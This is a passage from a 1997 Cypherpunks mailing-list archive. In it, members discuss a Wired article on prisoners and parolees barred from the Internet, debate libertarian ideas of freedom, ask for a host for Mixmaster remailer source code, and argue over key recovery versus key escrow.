warrants the decryption of computer-based evidence. Company Background Founded in 1989, McAfee is a leading worldwide vendor of Network Security and Management products for enterprise networks. The Company is also a leader in Internet and Web-based electronic software distribution. McAfee is adquartered in Santa Clara, California and can be reached by phone at (408) 988-3832 or by fax at (408) 970-9727. McAfee's Web address is http://www.mcafee.com. From tcmay at got.net Fri Dec 5 11:49:39 1997 From: tcmay at got.net (Tim May) Date: Sat, 6 Dec 1997 03:49:39 +0800 Subject: Locked Up and Barred From Net In-Reply-To: <666kg6$h6l$1@news.stealth.net> Message-ID: <199712051936.LAA00142@always.got.net> This article touches on several Cypherpunks themes and technologies, including: use of anonymous remailers, mandatory Web content filters, bans on encryption, and bomb-making instructions. True, the persons being affected here are prisoners and parolees, and prisoners obviously are lacking certain civil liberties. Parollees, too. (Whether those convicted of felonies or even lesser crimes should be denied civil liberties after their sentence has been completed is a troubling issue I won't get into right now.) But as more and more things are declared criminal, and as selective prosecution is becoming the norm, these increasing restrictions may affect a larger fraction of the population. And, I think, the attitude here toward paroled convicts gives us some hints about the application of the Four Horsemen arguments in general. --Tim May > From http://www.wired.com/news/news/culture/story/8854.html > > Twice Removed: Locked Up and Barred from Net > by Steve Silberman > 4:57am��3.Dec.97.PST > > When US District Court Judge Sam Sparks sent Chris Lamprecht to the > Federal Correctional Institution in Bastrop, Texas, in 1995, the > 24-year-old hacker sobbed before the bench. A stint in the federal pen > was terrifying enough, but the judge had tacked an unusual condition onto > his 70-month sentence. Though Lamprecht was being sent to Bastrop for > money laundering - not the hacking that earned him the handle "Minor > Threat" - Judge Sparks stipulated that Lamprecht was forbidden to access > the Internet until 2003. > > "I told the judge computers were my life," Lamprecht recalled. > > Any case that involves computers and a boyish, fair-skinned defendant is > bound to get press, but things have changed since Swing magazine > (http://www.paranoia.com/~mthreat/swing.html) billed Lamprecht as "the > first person to be officially exiled from cyberspace." If the young > hacker was the first to be exiled from the online world by law, he now has > plenty of company, following the circulation of an internal memo at the > Federal Bureau of Prisons last year, which set in stone a federal policy > of keeping prisoners - and even many parolees - offline. > > According to the federal view, logging on is simply incompatible with > incarceration. As chief bureau spokesman Todd Craig states, in > bureaucratese, "Access to the Internet is not a necessary tool for the > correctional process" - which means that with more than 1.6 million > people locked up in the United States alone, and thousands of parolees > subject to similar restrictions even as they attempt to rejoin modern > life, a significant population is being left behind by the network > revolution. > > What's at stake? As more and more jobs are wired into the Net and the > Web, the possibility that former offenders will be able to find > employment after incarceration becomes more and more remote - which > undermines the very bedrock of the correctional process, asserts Jenni > Gainsborough, spokeswoman for the American Civil Liberties Union's > National Prison Project (http://www.npp.org). > > "The aim of our prisons should be to release people who are able to > reintegrate themselves into society," she explains. "But no politician > wants to appear soft on crime. Nobody thinks about what's actually useful > to reduce the recidivism rate." > > A poster boy for keeping prisons unwired > > Mention the words prisoner and Internet in a sentence, and the same > object-lesson will come up over and over again: the case of George > Chamberlain, a sex offender incarcerated at Lino Lakes state prison in > Minnesota, who used his position as manager of computer services for a > venture called Insight Inc. to download child pornography from the Net > while sitting in jail. > > Chamberlain was a poster boy for keeping prisoners as far away from a > modem as possible. He not only siphoned 287 erotic images off the Net and > encrypted them on an optical drive behind the pass phrase "They cannot > commit me," he also compiled lists of thousands of children's' names, and > chitchatted with other pornographers through an anonymous remailer. > > "The idea that a prisoner had this kind of access to the Internet and was > able to collect explicit child pornography and communicate with others on > how to hide it," US Attorney David Lillehaug declared last March, "is > almost unbelievable." > > The Chamberlain case seemed all too believable, however, given a > statement issued by the US Parole Commission just three months earlier. > The commission, "responding to increased criminal use of the Internet," > approved "discretionary use of special conditions of parole that would > impose tight restrictions on the use of computers by certain high-risk > parolees." > > A spokesperson for the Parole Commission declined to answer questions > about the number of parolees currently subject to restrictions on > computer use, which include a ban on encryption, screening of online > activity by monitoring or blocking software, compulsory daily logging of > all Web sites visited, and unannounced searches of drives and disks by > parole officers. > > Federal Bureau of Prisons spokesman Craig equates the ban on computer use > by inmates to restrictions on use of the telephone. "They can make > 15-minute calls to pre-approved numbers, like family and clergy," Craig > says. It would be impossible, he says, to pre-approve forays into the > online world in the same way. > > In its press release, the commission said it acted "after noting the > surge of 'how-to' information available on the Internet and other > computer online services relating to such offenses as child molestation, > hate crimes, and the illegal use of explosives." > > "That's complete BS," charges Stanton McCandlish, program director for the > Electronic Frontier Foundation. "There was no alarming increase in that > kind of 'how-to' information on the Net. There was an increase in > publicity about politicians like Dianne Feinstein > (http://www.senate.gov/~feinstein/bombstmt.html), who used those fears as > justification to limit use of the Internet." > > McCandlish points out that last June's Reno v. ACLU decision > (http://www.aclu.org/court/renovacludec.html) by the Supreme Court sent a > message that the court considers the Net as much subject to First > Amendment speech protections as the printed word. Comparing broad > prohibitions on the use of computers by prisoners and parolees to banning > the act of writing by those in prison, McCandlish predicts that "the issue > is going to heat up" in the coming year. The EFF is "waiting for a good, > solid legal challenge" to arise before getting involved in a case, > McCandlish says. > > The world's best-kept secrets > > A small California businessman named John Danes runs an outfit called > Inmate.com, charging prisoners US$70 to design and maintain a personal > homepage (http://inmate.com/inmates.htm) and an email address for three > months. Each week, Danes prints out the incoming mail, peruses it for > forbidden content like pornography or communication from minors, and > forwards it to the inmates via snail mail. At present, nearly 70 male > prisoners and three women have homepages at Inmate.com. The majority of > the inmates are black or Hispanic; several of the pages maintain the > author's innocence; many are an invitation to romance. > > Ironically, the ACLU's Gainsborough attributes some of the public's fear > about convicted criminals having a gateway to the Net to the publicity > given to Web sites like Inmate.com and Dead Man Talkin' > (http://monkey.hooked.net/moneky/m/hut/deadman/deadman.html) - sites that > are put up by friends of prisoners who do not themselves have access. > > "Serial-killer homepages and prisoner sites contribute to the public > perception that there's a huge use of the Net by these people to > advertise their evil ideas," Gainsborough says, while affirming her > support for the right of prisoners to express themselves. > > One page on the Inmate.com site asks, "Have you ever wondered what it's > like to live in another world right here on Earth? What would you do if > you suddenly fell from grace? Prisons hold some of the world's best-kept > secrets." Secrets are one thing, Gainsborough observes, that prisoners > are not allowed to keep. > > "In many prisons, even [typewriters with built-in memory] are forbidden," > she says. "There's always this fear of prisoners hiding this stuff away - > so the idea of computers where people could really keep stuff hidden is > very frightening." > > In July 1996, a promising computer-training program at the Washington > State Reformatory was terminated when it appeared that the prisoners were > learning too much about computers - that is, more than prison officials > knew. > > Mike Williams, associate superintendent at the reformatory, was head of > security for the program, which was a pilot for a statewide effort that > would have allowed prisoners to learn how to use business software like > Microsoft Excel, PowerPoint, and Word. > > "The inmates learned a lot of good stuff," Williams acknowledges. "They > were able to learn a trade while in prison, so that they might have been > actually able to get a job in that area when they got out. This was like > real-world vocational training." > > So why was the innovative program scrapped, rather than ported to every > jailhouse in the state? > > "Our superintendent thought it was a manageable pilot program," Williams > recalls, "but the key figures who needed to approve it up in Olympia > decided to put an end to it. We had inmates learning more about computers > than we had staff time to keep an eye on them. We couldn't keep up with > them." > > The fear that prisoners would use encryption or other electronic means to > cloak escape plans was a chief concern. "It was a cat-and-mouse game. We > had to load the software for them, and there was no money allocated to > hire more officers to do that kind of thing," Williams says. Though at > least one inmate claims that graduates of the program had landed good > jobs upon release, state deputy director of prisons Jim Blodgett - one of > the "key figures" in the state capital who decided to shut the gate on > the pilot effort - told a reporter, "We couldn't see the value in keeping > it. We had staff not knowing what was going on." > > If the object of incarceration is to ensure that prisoners remain at > least as ignorant of current technologies as untrained prison staff, the > federal policy will be deemed a success. But as the Net touches every > area of our experience - from our most intimate relationships to our > responsibilities as participants in a democratic society - more and more > of those on the outside of the bars are coming to feel, with Lamprecht, > that "computers are our lives," or are inextricably linked with our > lives. > > And those on the inside are destined to be released into a life for which > they are even more unprepared than former offenders were in the past. > > ------------------------------------------------------------------------- > Minor Threat's Web Site http://www.paranoia.com/~mthreat/ > Official Kevin Mitnick Web Site http://www.kevinmitnick.com -- The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From aba at dcs.ex.ac.uk Fri Dec 5 11:49:46 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sat, 6 Dec 1997 03:49:46 +0800 Subject: another mixmaster source branch Message-ID: <199712051943.TAA04959@server.test.net> Anyone with a export controlled web site in the US like to give home to Rich Salz's mixmaster re-write? Adam ------- Start of forwarded message ------- Date: Fri, 5 Dec 1997 13:28:32 -0500 (EST) From: Rich Salz To: coderpunks at toad.com Subject: Take my mixmaster source Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-coderpunks at toad.com Precedence: bulk A long time ago, Lance graciously gave me a copy of his mixmaster source. I ended up doing a line-by-line rewrite, splitting it into different executables, FSF configure'ing it, etc. I'm not going to have time to finish it. There is one bug that I know of, an off-by-one error in decoding multi-hop messages. If you would like fame and fortune and a somewhat interesting debugging problem, and you're inside the US or Canada, please send me email. I would like to see this code get released, and used. Thanks. ------- End of forwarded message ------- From jim.burnes at ssds.com Fri Dec 5 11:54:35 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Sat, 6 Dec 1997 03:54:35 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <19971204174655.45349@songbird.com> Message-ID: On Thu, 4 Dec 1997, Kent Crispin wrote: > On Thu, Dec 04, 1997 at 05:22:23PM -0700, Jim Burnes wrote: > [...] > > > And Singapore survives quite well being a totalitarian capitalist > > > society. Sure, you can pick nits and claim that Singapore's not entirely > > > capitalist, but it's more capitalist than this country and certainly > > > less free, too. > > > > > > > hmmm.. no one says that singapore doesn't work anyomore than > > that they say that a team of horses under a whip doesn't work. > > the difference is that in singapore the policeman is inside. > > Nope. I have several friends who are from Singapore, and that is > simply not the way they see it. They like their country, and they > are proud of it. They know it isn't perfect, but they think it is > pretty damn good. From their perspective your statement simply > reflects the narrowness of your point of view. > Nice try, Kent. This is to be expected by people who have the internal policeman. This is like a kitchen slave that says they like their kitchen. From a kitchen slave's point of view a wandering minstrel that doesn't eat as often or as well may not be as well off. That just means the kitchen slave is fatter not more free. Just wait until they try and leave the plantation. Indeed this is pretty much the viewpoint of every person in every country unless the authoritarians have really clamped down. My country good or bad with exceptions. > [...] > > > there is a fundamental flaw your case. economic freedom is really the > > same as social freedom. > > This also represents a terribly narrow view of the world. Freedom is > psychological state as much as it is a social or an economic one. > Only from someone who doesn't understand the basics of economics. I am differentiating between freedom and hapiness. I start from the premise, "as it harms no one, do as you please". How many nation states allow this? Freedom is the opposite of slavery. I don't want happiness. I don't want the nanny state. I want freedom. It is a real state, Kent. I want to do everything I'm personally capable of short of harming others...and that better be real and tangible harm. Lets think about this, Kent. I am showing you that it has real, tangible properties -- not some myth or religious belief. Take an example citizen unit "Sally". Sally want's to contract with a company to provide programming services. She doesn't want social security. She justs wants all the money she contracted for. Nothing more, nothing less. The amount she contracted for has real tangible benefits. Food she can buy, free time, better clothes, better education for her kids etc.... Mr Big Brother steps in and takes a big chunk of it without her permission. This decreases the net number of hours left in Sallys life. She must work longer hours now. If Sally is not the person who decides how the hours in her life should be spent she doesn't even own her own life. Who owns it? I'll give you one guess. I'll give you the fact that Sally is permitted (at least in most Nation States) to become a hermit and own herself again. But remember we're talking about the freedom of a society. I'll also give you the fact that she is limited by other things like environmental factors, acts of god, her own emotional decisions to support her parents or something. These are all voluntary decisions. > > In either case, the act of buying and selling things is the ultimate > > expression of free association/assembly. > > Nonsense. The ultimate expression of freedom is skinny dipping in a > mountain lake. I'm sorry Kent, but that is a NOP. Go back to the hermit argument. Besides, who now is talking about feelings. > > > I might mention, since this is the cypherpunk list, that crypto > > is *exactly* what big brother is afraid of because we might realize > > what *kind* of slaves we are and what kind of masters they are. > > Incidentally it might actually free us from this prison some > > day. The first step to escaping from your jail cell is understanding > > that you live in a jail cell and what kind of cell that is. Most > > new citizens units have a room reserved from birth. > > (slave: birth to grave) > > > > Freedom to make purchasing decisions is *the* major component of freedom > > in any advanced society. It is the medium by which we interact > > with society at large. Red Hat software doesn't know who the hell > > I am and they probably can't afford to care that much. What they > > do know is that if they configure a really decent version of Linux > > that I will give them $50. It allows me to do my thing and it puts > > food on their table. > > > > Economic freedom is what makes it possible for society to evolve into > > to something better. Lack of it eventually dooms the inhabitants > > to decide whether to become a hammer or an anvil -- a host or > > a parasite. > > > > If you don't think that the population is prevented from making > > purchasing decisions then you better get the sleep out of your > > eyes and take a good, hard look. > > > > > > Actually, it's dogma, not pedagogy. The notion of "freedom" to a > libertarian is like the notion of "faith" to a Christian -- a > self-reinforcing mental trap, a span of circular thinking that is just > a little too large for them to notice and say "Haven't I been here > before?" Allright, Kent. Lets play a little thought experiment. Sometimes its helpful to remove extraneous bullshit from an argument. Lets start with the most obvious cases of non-freedom and work outwards. (1) You are dead (2) You have been kidnapped, bound by duct tape into a chair - hand, foot and mouth. (3) You are a physical slave. Being unlucky enough to be born into a slave society or captured during warfare you grow up a slave. Your life is at the disposal of your owner. You are probably well aware of your condition, but have not the resources do alleviate it. ..tell me when to stop, Kent.... (4) You are a psychological slave. Having let someone else make your decisions for you, your mental and physical faculties are at the the disposal of the meme controllers. (5) You are an economic slave. Having the misfortune of your wealth being tied to the fiat of a nation-state, the value of your time and the stability of your day-to-day world are at the disposal of those who worship power. Each of these forms of servitude requires more and more information to detect. Many citizen units, like fish in a fishbowl, endlessly swim in circles, happy and content -- never seeing the fishbowl until they bump straight into it. The usual reaction is to say, "hmmm...thats strange" and then they go on swimming in circles again. Eventually the housecat comes by and eats the fish next to them. This is scary for the fish, but bound by the limitations of the fishbowl will simply assimilate it and chalk it up to an act of god. > Like moths they flit around the bright emotional icons that > blind them, define their world, and trap their thoughts in endless > repetition. Very pretty, Kent. You get an 'A' for prose, but an 'D' for reasoning. OK...I'm flitting about those bright emotional icons. Feeling pretty good. I don't like slavery, Kent. Why? I don't know. I'll admit it. Is it rational? I don't know. I am a human being with my own will. I don't like slavery and submission any more than I like a hot poker in the eye. If I am bothered by it and continue returning to contemplate it, please forgive me. Maybe that makes me human. I prefer to voluntarily serve my fellow citizens. If you prefer to serve in the kitchen, no matter how well stocked or lavish, then I pity you. Did this stuff bother me before I saw it? No. Did it affect me? Most definitely. But I've always had an extreme dislike for bullys. Maybe thats another emotional icon, Kent. > > For all the brave words about reason and logic, and all the endless > discussion about it, libertarians don't ever actually sit down and > think "what does the word 'freedom' mean, anyway?". OK. I think we took care of that. Freedom doesn't mean external factors. Freedom means living in an environment and having the ability to alter or manipulate that enviornment and expand beyond the environment. Obviously the jail cell is only free until you get to the bars or wish to be free from them. Maybe were getting somewhere here.... Freedom is relative to your desires much as wealth is. (desired actions - external-human-imposed-limitations) = slavery (desired wealth - actual wealth) = poverty If you are a totally integrated Zen monks who has achieved enlightenment maybe you could be very happy in a jail cell. If you play video games all day and eat pizza all night you are free. If you discover the limitation that have been imposed on you and think they are nonsensical, artificial and human imposed then you are a slave...unless you don't care to explore beyond those limitations. What kind of human do I want to be? I don't want to escape into the internal. I don't want to permanantly bury myself in hedonistic pleasure (but the thought has occurred to me) I don't wan't to immerse myself in 9-5 wage slavery. I wan't to explore the internal and the external. I wan't to become more than I am. I realize these things are available in this world. Its just that I don't want to subject myself to the psychological subjugation that it takes. Read that "kissing up". I've almost reached the point where individual effort can max out without massive kissing up. Perhaps that's my own self-imposed prison, but I'd prefer to advance by serving others in the free market. But don't worry, I'm still trying. > Instead, their thinking goes down to a point where they can repeat some mantra like > "Freedom to make purchasing decisions is *the* major component of > freedom in any advanced society", and they never realize the exact > circularity involved. Maybe you could explain it. I base my beliefs on the fact that any civilization beyond a few thousand people must interact via some type of money, or stagnate. If you don't understand mutual coincidence of wants, I could explain it to you. The society is then defined by the dynamics of that currency because it defines the nature of free association beyond the boundaries of the merely personal (ie: families, friends, jumping in mountain lakes). Who or what guarantees the integrity of that money(s) defines the nature of the civilization. Whether it grows or contracts, whether the people save their hard-earned cash or spend it, the nature of level of debt, waste, etc. Notice I'm not suggesting we all return to gold. But the above observations still hold. Who or what guarantees the moeny? Does the president guarantee it, the banks individually, the banks severally, the central bank, the head of the central bank, or emergent market forces? And people who believe that money is root of all evil are simply falling prey to psychological slavery. That meme must have been invented by people threatened by freedom. Money simply allows you the freedom to interact with the society at large. It allows you to do anything you would normally do - good or evil. It might as well be "Freedom to worship the > Lord is *the* major component of freedom in any advanced society." Or > "Being a slave to purchasing decisions is *the* major component of > slavery in any advanced society." > Thinking in platitudes is not thinking. > Well I suppose you could argue this, but its provably wrong. Proof by counterexample: There are places where you are free to worship the lord, the devil, the trees or the cracks in the sidewalk if you like. Without economic freedom, the freedom to sell or not to sell, to purchase or not to purchase we'd be living in little mud shacks without many of the modern advances of civilization. Money enables large sectors of the populace to interact without barter. These large sectors then specialize and the results of this specialization and advancement are the history of science. Personally I like those advances. Other than that I will agree to disagree with you, Kent. Have a better one, jim From tm at dev.null Fri Dec 5 12:05:47 1997 From: tm at dev.null (TruthMonger) Date: Sat, 6 Dec 1997 04:05:47 +0800 Subject: Locked Up and Barred From Net In-Reply-To: <666kg6$h6l$1@news.stealth.net> Message-ID: <34885CAB.519B@dev.null> It has long been known that the artists, the lunatics and the criminal element in society are a harbinger of the future. What is less known is that the way society deals with them is also a harbinger of the future. Supporting Nazi Fascist Oppressors who campaign under slogans that share the underlying theme "Tough On the 'Other Guy'" can be a very tempting prospect. Waking up to find that *you* have been officially declared "The 'Other Guy'" is not uncommon, however. NEWS FLASH!!! When John Law enforces that "Tough on Crime" law that you supported, he is not going to risk his butt by going after armed felons such as Tim May, as you had intended. He is going to go after unarmed felons who supported the new laws, little realizing that they, themselves, were "Felons under an increasing number of laws." (Don't bother to check the archives. I said that first. Trust me.) TruthMonger Tim May wrote: > > This article touches on several Cypherpunks themes and technologies, > including: use of anonymous remailers, mandatory Web content filters, bans > on encryption, and bomb-making instructions. > > True, the persons being affected here are prisoners and parolees, and > prisoners obviously are lacking certain civil liberties. Parollees, too. > (Whether those convicted of felonies or even lesser crimes should be > denied civil liberties after their sentence has been completed is a > troubling issue I won't get into right now.) > > But as more and more things are declared criminal, and as selective > prosecution is becoming the norm, these increasing restrictions may affect > a larger fraction of the population. > > And, I think, the attitude here toward paroled convicts gives us some > hints about the application of the Four Horsemen arguments in general. > > --Tim May > > > From http://www.wired.com/news/news/culture/story/8854.html > > > > Twice Removed: Locked Up and Barred from Net > > by Steve Silberman > > 4:57am 3.Dec.97.PST > > > > When US District Court Judge Sam Sparks sent Chris Lamprecht to the > > Federal Correctional Institution in Bastrop, Texas, in 1995, the > > 24-year-old hacker sobbed before the bench. A stint in the federal pen > > was terrifying enough, but the judge had tacked an unusual condition onto > > his 70-month sentence. Though Lamprecht was being sent to Bastrop for > > money laundering - not the hacking that earned him the handle "Minor > > Threat" - Judge Sparks stipulated that Lamprecht was forbidden to access > > the Internet until 2003. > > > > "I told the judge computers were my life," Lamprecht recalled. > > > > Any case that involves computers and a boyish, fair-skinned defendant is > > bound to get press, but things have changed since Swing magazine > > (http://www.paranoia.com/~mthreat/swing.html) billed Lamprecht as "the > > first person to be officially exiled from cyberspace." If the young > > hacker was the first to be exiled from the online world by law, he now has > > plenty of company, following the circulation of an internal memo at the > > Federal Bureau of Prisons last year, which set in stone a federal policy > > of keeping prisoners - and even many parolees - offline. > > > > According to the federal view, logging on is simply incompatible with > > incarceration. As chief bureau spokesman Todd Craig states, in > > bureaucratese, "Access to the Internet is not a necessary tool for the > > correctional process" - which means that with more than 1.6 million > > people locked up in the United States alone, and thousands of parolees > > subject to similar restrictions even as they attempt to rejoin modern > > life, a significant population is being left behind by the network > > revolution. > > > > What's at stake? As more and more jobs are wired into the Net and the > > Web, the possibility that former offenders will be able to find > > employment after incarceration becomes more and more remote - which > > undermines the very bedrock of the correctional process, asserts Jenni > > Gainsborough, spokeswoman for the American Civil Liberties Union's > > National Prison Project (http://www.npp.org). > > > > "The aim of our prisons should be to release people who are able to > > reintegrate themselves into society," she explains. "But no politician > > wants to appear soft on crime. Nobody thinks about what's actually useful > > to reduce the recidivism rate." > > > > A poster boy for keeping prisons unwired > > > > Mention the words prisoner and Internet in a sentence, and the same > > object-lesson will come up over and over again: the case of George > > Chamberlain, a sex offender incarcerated at Lino Lakes state prison in > > Minnesota, who used his position as manager of computer services for a > > venture called Insight Inc. to download child pornography from the Net > > while sitting in jail. > > > > Chamberlain was a poster boy for keeping prisoners as far away from a > > modem as possible. He not only siphoned 287 erotic images off the Net and > > encrypted them on an optical drive behind the pass phrase "They cannot > > commit me," he also compiled lists of thousands of children's' names, and > > chitchatted with other pornographers through an anonymous remailer. > > > > "The idea that a prisoner had this kind of access to the Internet and was > > able to collect explicit child pornography and communicate with others on > > how to hide it," US Attorney David Lillehaug declared last March, "is > > almost unbelievable." > > > > The Chamberlain case seemed all too believable, however, given a > > statement issued by the US Parole Commission just three months earlier. > > The commission, "responding to increased criminal use of the Internet," > > approved "discretionary use of special conditions of parole that would > > impose tight restrictions on the use of computers by certain high-risk > > parolees." > > > > A spokesperson for the Parole Commission declined to answer questions > > about the number of parolees currently subject to restrictions on > > computer use, which include a ban on encryption, screening of online > > activity by monitoring or blocking software, compulsory daily logging of > > all Web sites visited, and unannounced searches of drives and disks by > > parole officers. > > > > Federal Bureau of Prisons spokesman Craig equates the ban on computer use > > by inmates to restrictions on use of the telephone. "They can make > > 15-minute calls to pre-approved numbers, like family and clergy," Craig > > says. It would be impossible, he says, to pre-approve forays into the > > online world in the same way. > > > > In its press release, the commission said it acted "after noting the > > surge of 'how-to' information available on the Internet and other > > computer online services relating to such offenses as child molestation, > > hate crimes, and the illegal use of explosives." > > > > "That's complete BS," charges Stanton McCandlish, program director for the > > Electronic Frontier Foundation. "There was no alarming increase in that > > kind of 'how-to' information on the Net. There was an increase in > > publicity about politicians like Dianne Feinstein > > (http://www.senate.gov/~feinstein/bombstmt.html), who used those fears as > > justification to limit use of the Internet." > > > > McCandlish points out that last June's Reno v. ACLU decision > > (http://www.aclu.org/court/renovacludec.html) by the Supreme Court sent a > > message that the court considers the Net as much subject to First > > Amendment speech protections as the printed word. Comparing broad > > prohibitions on the use of computers by prisoners and parolees to banning > > the act of writing by those in prison, McCandlish predicts that "the issue > > is going to heat up" in the coming year. The EFF is "waiting for a good, > > solid legal challenge" to arise before getting involved in a case, > > McCandlish says. > > > > The world's best-kept secrets > > > > A small California businessman named John Danes runs an outfit called > > Inmate.com, charging prisoners US$70 to design and maintain a personal > > homepage (http://inmate.com/inmates.htm) and an email address for three > > months. Each week, Danes prints out the incoming mail, peruses it for > > forbidden content like pornography or communication from minors, and > > forwards it to the inmates via snail mail. At present, nearly 70 male > > prisoners and three women have homepages at Inmate.com. The majority of > > the inmates are black or Hispanic; several of the pages maintain the > > author's innocence; many are an invitation to romance. > > > > Ironically, the ACLU's Gainsborough attributes some of the public's fear > > about convicted criminals having a gateway to the Net to the publicity > > given to Web sites like Inmate.com and Dead Man Talkin' > > (http://monkey.hooked.net/moneky/m/hut/deadman/deadman.html) - sites that > > are put up by friends of prisoners who do not themselves have access. > > > > "Serial-killer homepages and prisoner sites contribute to the public > > perception that there's a huge use of the Net by these people to > > advertise their evil ideas," Gainsborough says, while affirming her > > support for the right of prisoners to express themselves. > > > > One page on the Inmate.com site asks, "Have you ever wondered what it's > > like to live in another world right here on Earth? What would you do if > > you suddenly fell from grace? Prisons hold some of the world's best-kept > > secrets." Secrets are one thing, Gainsborough observes, that prisoners > > are not allowed to keep. > > > > "In many prisons, even [typewriters with built-in memory] are forbidden," > > she says. "There's always this fear of prisoners hiding this stuff away - > > so the idea of computers where people could really keep stuff hidden is > > very frightening." > > > > In July 1996, a promising computer-training program at the Washington > > State Reformatory was terminated when it appeared that the prisoners were > > learning too much about computers - that is, more than prison officials > > knew. > > > > Mike Williams, associate superintendent at the reformatory, was head of > > security for the program, which was a pilot for a statewide effort that > > would have allowed prisoners to learn how to use business software like > > Microsoft Excel, PowerPoint, and Word. > > > > "The inmates learned a lot of good stuff," Williams acknowledges. "They > > were able to learn a trade while in prison, so that they might have been > > actually able to get a job in that area when they got out. This was like > > real-world vocational training." > > > > So why was the innovative program scrapped, rather than ported to every > > jailhouse in the state? > > > > "Our superintendent thought it was a manageable pilot program," Williams > > recalls, "but the key figures who needed to approve it up in Olympia > > decided to put an end to it. We had inmates learning more about computers > > than we had staff time to keep an eye on them. We couldn't keep up with > > them." > > > > The fear that prisoners would use encryption or other electronic means to > > cloak escape plans was a chief concern. "It was a cat-and-mouse game. We > > had to load the software for them, and there was no money allocated to > > hire more officers to do that kind of thing," Williams says. Though at > > least one inmate claims that graduates of the program had landed good > > jobs upon release, state deputy director of prisons Jim Blodgett - one of > > the "key figures" in the state capital who decided to shut the gate on > > the pilot effort - told a reporter, "We couldn't see the value in keeping > > it. We had staff not knowing what was going on." > > > > If the object of incarceration is to ensure that prisoners remain at > > least as ignorant of current technologies as untrained prison staff, the > > federal policy will be deemed a success. But as the Net touches every > > area of our experience - from our most intimate relationships to our > > responsibilities as participants in a democratic society - more and more > > of those on the outside of the bars are coming to feel, with Lamprecht, > > that "computers are our lives," or are inextricably linked with our > > lives. > > > > And those on the inside are destined to be released into a life for which > > they are even more unprepared than former offenders were in the past. > > > > ------------------------------------------------------------------------- > > Minor Threat's Web Site http://www.paranoia.com/~mthreat/ > > Official Kevin Mitnick Web Site http://www.kevinmitnick.com > > -- > The Feds have shown their hand: they want a ban on domestic cryptography > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > Higher Power: 2^1398269 | black markets, collapse of governments. > "National borders aren't even speed bumps on the information superhighway." From frissell at panix.com Fri Dec 5 12:40:51 1997 From: frissell at panix.com (Duncan Frissell) Date: Sat, 6 Dec 1997 04:40:51 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3.0.2.32.19971205152745.036de494@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 02:42 PM 12/5/97 GMT, Paul Spirito wrote: >Seriously, I've never lived in Sweden or Singapore -- if I do, I'll get back >to the list on which I prefer -- but I'm troubled by the tendency of >Libertarians to err on the side of big business fetishism rather than civil >liberties. Both are part of the Doctrine, of course*, but I often hear them >argue that wild-west capitalism inevitably leads to political freedom -- so, >not to worry -- but rarely that political freedom invariably leads to >laissez-faire capitalism (so, not to worry). That's because it doesn't. And there is a difference between "political rights" and liberty. I care about the latter and not the former. Plenty of tyrannical democracies. I judge governments by how much they leave me alone not by their form. >You might say that the latter is NOT TRUE. Well, right-o, but neither is the >former. Economic progress under a fascist regime leads inevitably to >political freedom? You guys actually make this argument. Certainly today's economic and technological freedom gives individuals vast money and vast power. This increases their ability to tell their governments to go fuck themselves. Whether they will choose to exercise this power, they certainly have it. >*Yes, Libertarians criticize corporate welfare, but just because it corrupts >the notion that a person's entire worth can be summarized in a stock >portfolio. No they criticize it because they don't like to *pay* for it. They believe in lower taxes and smaller governments. DCF -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNIhjvIVO4r4sgSPhAQHEbQP+IlPZPSHqvPyEs4V4pETd4x3OnDjlH1bG WTI2hpmQYaQizMKgHIqjSkyEwB02uGouMeBmW6wxu+upVvwCVBLxY43h5UjkDKQa IqUFdYJt84kxGQzEDYX5KRSjN09fwUAxT4iG7rBxXwIzxPwdeVC0k3sdRnT7PE5X mQJ+M3h9iLM= =cdbj -----END PGP SIGNATURE----- From wgriffin at enslaved.student.umd.edu Fri Dec 5 13:11:03 1997 From: wgriffin at enslaved.student.umd.edu (Wesley Griffin) Date: Sat, 6 Dec 1997 05:11:03 +0800 Subject: SynData/Schneier Attack Network Associates In-Reply-To: <3.0.2.32.19971205122651.007cae60@fast.synernet.com> Message-ID: <199712052053.PAA14508@enslaved.student.umd.edu> > At 11:42 AM 12/5/97 -0500, you wrote: > > "The government's key recovery program is a complete violation of the > > individual's right to privacy and, in fact, compromises of the system are > > already taking place. This shows that key escrow is an untenable policy," > > said Bruce Schneier, one of the world's leading authorities on encryption > > and author of the book "Applied Cryptography". "SynData is paving the > > way for other software developers by taking a stand in opposition to the > > government and companies like Network Associates." > > > By "companies like Network Associates", do you mean "companies who are > members of the Key Recovery Alliance" (http://www.kra.org)? If so, here are > the "companies like Network Associates", in that regard: [Note RSA is a > Charter Member] This statement is seriously confusing Key Recovery and Key Escrow. They are NOT the same thing. Everybody knows what Key *Escrow* is and that it sucks. Key Recovery is *very* different in that are no databases kept of private keys. The website you mentioned (http://www.kra.org) contains some very good info on how Key Recovery works. I would like to see the source of Schneier's quote also, because I can't believe he could get the two confused. Wes Griffin wgriffin at glue.umd.edu From nobody at bureau42.ml.org Fri Dec 5 13:45:12 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Sat, 6 Dec 1997 05:45:12 +0800 Subject: No Subject Message-ID: <1c5bE7t2VZDcs9ZD4AjFLQ==@bureau42.ml.org> > Something that I have found irritating about the posts by > non-persistent identities is that it isn't possible to support a > meaningful discussion as previous statements can always be repudiated, > or maybe even weren't made by the particular poster. I compared this > to sound bites. And Tim do I know how you hate sound bites. Look at it this way: no identity is persistent, signed or not. All just varying degrees. Maybe all we *ever* had was sound bites, but the closer proximities and smaller networks of the past made them seem more dynamic than they really were. From ravage at ssz.com Fri Dec 5 14:17:15 1997 From: ravage at ssz.com (Jim Choate) Date: Sat, 6 Dec 1997 06:17:15 